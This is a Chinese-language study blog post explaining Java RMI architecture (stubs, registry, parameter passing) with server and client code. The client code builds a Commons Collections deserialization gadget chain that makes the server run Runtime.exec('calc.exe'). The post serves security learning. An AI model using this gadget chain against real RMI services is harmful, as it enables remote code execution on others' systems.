JAVA_RMI学习
JAVA_RMI
简介
RMI中的核心是远程对象(remote object),除了对象本身所在的虚拟机,其他虚拟机也可以调用此对象的方法,而且这些虚拟机可以不在同一个主机上。每个远程对象都要实现一个或者多个远程接口来标识自己,声明了可以被外部系统或者应用调用的方法(当然也有一些方法是不想让人访问的)。
通信模型
从方法调用角度来看,RMI要解决的问题,是让客户端对远程方法的调用可以相当于对本地方法的调用而屏蔽其中关于远程通信的内容,即使在远程上,也和在本地上是一样的。
客户端-服务端角度来看,两者是通过JRMP
协议通信。实际上客户端之和远程对象Stub
通信,客户端只是调用Stub
对象中的本地方法,Stub
对象是一个本地对象,它实现了远程对象向外暴露的接口。可以理解为Stub
对象是远程对象在本地的一个代理,当客户端调用方法的时候,Stub对象会将调用通过网络传递给远程对象。
Java1.2之前stub
是与Skeleton
对象对话这个过程其实是JRMP
协议转换实现的,1.2之后是Stub
和Server
对话不再是Skeleton
对象了。
所以从逻辑上来看,数据是在Client
和Server
之间横向流动的,但是实际上是从Client
到Stub
,然后从Skeleton
到Server
这样纵向流动的。
- Server端监听一个端口,这个端口是JVM随机选择的;
- Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
- Client端可以调用Stub上的方法;
- Stub连接到Server端监听的通信端口并提交参数;
- 远程Server端上执行具体的方法,并返回结果给Stub;
- Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样
如何获取Stub
RMI
是由如下三部分构成
RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server
可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client
通过Name向RMI Registry
查询,得到这个绑定关系,然后再连接RMI Server
;最后,远程⽅法实际上在RMI Server
上调⽤。
RMI Client端通过本地的接口和一个已知的名称(即rmiregistry
暴露出的名称)再使用RMI提供的Naming/Context/Registry等类的lookup方法从RMI Service
那拿到实现类。这样虽然本地没有这个类的实现类,但所有的方法都在接口里了,便可以实现远程调用对象的方法了。
RMI server端在本地先实例化一个提供服务的实现类,然后通过RMI提供Naming/Context/Registry(下面实例用的Registry)等类的bind
或rebind
方法将刚才实例化好的实现类注册到rmiregistry
上并对外暴露一个名称。
所以关系图如下图,方法调用从客户对象经存根、远程引用层和传输层向下传递给主机,然后再次经传输层,向上穿过远程调用层和骨干网,到达服务器对象。
这里再说下RMI中的参数传递和结果返回可以使用的三种机制(取决于数据类型):
- 简单类型:按值传递,直接传递数据拷贝;
- 远程对象引用(实现了Remote接口):以远程对象的引用传递;
- 远程对象引用(未实现Remote接口):按值传递,通过序列化对象传递副本,本身不允许序列化的对象不允许传递给远程方法;
RMI基础用法
实现过程中的注意事项:
- 子接口的每个方法都必须声明抛出
java.rmi.RemoteException
异常,该异常是使用RMI
时可能抛出的大多数异常的父类。 - 子接口的实现类应该直接或者间接继承
java.rmi.server.UnicastRemoteObject
类,该类提供了很多支持RMI
的方法,具体来说,这些方法可以通过JRMP
协议导出一个远程对象的引用,并通过动态代理构建一个可以和远程对象交互的Stub对象。具体的实现看如下的例子。
Server
public class UserServer {
public interface User extends Remote {
String name(String name) throws RemoteException;
void attack(Object cc) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
protected UserImpl() throws RemoteException {
}
@Override
public String name(String name) throws RemoteException {
System.out.println(name);
return name;
}
@Override
public void attack(Object cc) throws RemoteException {
System.out.println(cc);
}
}
public static void main(String[] args) throws Exception{
User user = new UserImpl();
LocateRegistry.createRegistry(9999);
Naming.bind("rmi://192.168.0.102:9999/User",user);
System.out.println("the rmi is running ...");
}
}
Client
public class UserClient {
public static void main(String[] args) throws Exception {
UserServer.User lookup = (UserServer.User) Naming.lookup("rmi://192.168.0.102:9999/User");
lookup.name("RMI_test");
lookup.attack(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "r0ser1");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
至于为什么可以是因为attack接收object对象
文章推荐:https://paper.seebug.org/1251/【强烈推荐阅读读完就懂了,还得多动手调试】
结尾
这里只是简单学习RMI的简单用法,RMI有很多攻击面。可以查看paper的文章即可,还有先知很多优秀的文章。等后面再一一学习。
参考:
在此感谢师傅们的文章学习到了很多。
P牛JAVA漫谈——RMI
https://paper.seebug.org/1091/#_1
https://xz.aliyun.com/t/6660#toc-1
https://xz.aliyun.com/t/4711#toc-6
https://blog.csdn.net/lmy86263/article/details/72594760
https://blog.csdn.net/qq_28081453/article/details/83279066
https://www.cnblogs.com/nice0e3/p/13927460.html#0x03-%E7%BB%93%E5%B0%BE